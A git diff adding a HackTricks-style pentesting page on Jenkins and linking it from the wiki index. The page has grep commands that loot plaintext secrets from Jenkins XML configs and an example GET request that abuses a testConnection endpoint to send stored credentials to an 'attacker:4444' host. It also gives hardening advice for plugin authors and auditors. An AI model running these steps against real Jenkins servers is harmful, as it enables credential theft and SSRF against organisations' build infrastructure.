diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 2874e392e6d..ea94ae0668b 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -466,6 +466,7 @@ - [ImageMagick Security](network-services-pentesting/pentesting-web/imagemagick-security.md) - [Ispconfig](network-services-pentesting/pentesting-web/ispconfig.md) - [JBOSS](network-services-pentesting/pentesting-web/jboss.md) + - [Jenkins](network-services-pentesting/pentesting-web/jenkins.md) - [Jira & Confluence](network-services-pentesting/pentesting-web/jira.md) - [Joomla](network-services-pentesting/pentesting-web/joomla.md) - [JSP](network-services-pentesting/pentesting-web/jsp.md) diff --git a/src/network-services-pentesting/pentesting-web/README.md b/src/network-services-pentesting/pentesting-web/README.md index 88d97b97a79..2c4a1ae157a 100644 --- a/src/network-services-pentesting/pentesting-web/README.md +++ b/src/network-services-pentesting/pentesting-web/README.md @@ -89,7 +89,7 @@ Some **tricks** for **finding vulnerabilities** in different well known **techno - [**IIS tricks**](iis-internet-information-services.md) - [**Microsoft SharePoint**](microsoft-sharepoint.md) - [**JBOSS**](jboss.md) -- [**Jenkins**](https://github.com/HackTricks-wiki/hacktricks-cloud/tree/master/pentesting-ci-cd/jenkins-security) +- [**Jenkins**](jenkins.md) - [**Jira**](jira.md) - [**Joomla**](joomla.md) - [**JSP**](jsp.md) diff --git a/src/network-services-pentesting/pentesting-web/jenkins.md b/src/network-services-pentesting/pentesting-web/jenkins.md new file mode 100644 index 00000000000..b4938d6922b --- /dev/null +++ b/src/network-services-pentesting/pentesting-web/jenkins.md @@ -0,0 +1,53 @@ +# Jenkins + +{{#include ../../banners/hacktricks-training.md}} + +## Sensitive files & plaintext secrets + +- Default installs often leave `/var/lib/jenkins/*.xml`, plugin-global XMLs, and per-job `/var/lib/jenkins/jobs//config.xml` world-readable. Jenkins encrypts `credentials.xml`, but **many plugins persist secrets in their own XML without encryption** (and sometimes use non-secret Jelly controls so the UI shows the cleartext value). +- Looting tips: + - Enumerate plugin-global XMLs and job configs for obvious secret tags (e.g., `password`, `token`, `awsSecretKey`, `credentialId`). + - Workspace directories can also temporarily hold artifacts with credentials. + +```bash +# Global plugin configs +ls -l /var/lib/jenkins/*.xml +grep -R "password\|token\|SecretKey\|credentialId" /var/lib/jenkins/*.xml + +# Per-job configs +find /var/lib/jenkins/jobs -maxdepth 2 -name config.xml -print -exec grep -H "password\|token\|SecretKey" {} \; +``` + +Impact: plaintext credentials can expose downstream services (e.g., MQ, FTP, AWS, Dropbox) even when the web UI masks the value. + +## Abusing FormValidation/TestConnection endpoints (CSRF ➜ SSRF/credential theft) + +Jelly `validateButton`/`test connection` controls map to server handlers such as `/descriptorByName//testConnection` that usually take parameters like host/URL and `credentialId`. When the handler **doesn’t enforce POST or permission checks**, you can: + +1. **Switch POST➜GET and drop the Crumb** – many plugins accept GET and skip CSRF validation. +2. **Call as low-priv/anonymous** – if no `Jenkins.ADMINISTER` check is performed, even `Overall/Read`/Anonymous can trigger outbound requests. +3. **CSRF an admin** – host/URL parameters can be swapped in a malicious page; Jenkins will connect to attacker infrastructure with stored credentials, leaking `credentialId`/secrets in the request or in error text. +4. **SSRF/port-scan** – control the destination to map internal services; exceptions like `ConnectException`/`ProtocolException` in the response act as an oracle. + +Example GET (no Crumb) turning a validation call into SSRF/credential exfiltration: + +```http +GET /descriptorByName/jenkins.plugins.openstack.compute.JCloudsCloud/testConnection?endPointUrl=http://attacker:4444/&credentialId=openstack HTTP/1.1 +Host: jenkins.local:8080 +``` + +If the plugin reuses stored creds, Jenkins will attempt to authenticate to `attacker:4444` and may return stack traces or the `credentialId`, confirming execution. Similar behavior was observed across numerous plugins (e.g., FTPPublisher, MQ Notifier, Crowd realm). + +### Hardening patterns (what to look for when auditing code) + +- Enforce method: annotate validation handlers with `@POST`/`@RequirePOST`; optionally set Jelly `checkMethod="POST"`, but server-side checks are mandatory. +- Enforce authz: `Jenkins.get().checkPermission(Jenkins.ADMINISTER)` (or `getInstance()` on older code) before performing outbound calls. +- Secrets handling: replace `String` secrets with `hudson.util.Secret` or the Credentials Plugin; persist via `Secret.getEncryptedValue(...)` and decrypt with `Secret.decrypt(...)`. Use `password`/`secretTextarea` Jelly controls instead of plain textboxes so secrets aren’t round-tripped in cleartext. + +## References + +- [Story of a hundred vulnerable Jenkins plugins](https://www.nccgroup.com/research-blog/story-of-a-hundred-vulnerable-jenkins-plugins/) +- [Jenkins developer docs – secrets API](https://www.jenkins.io/doc/developer/security/secrets/) +- [Jenkins developer docs – form validation](https://www.jenkins.io/doc/developer/security/form-validation/) + +{{#include ../../banners/hacktricks-training.md}}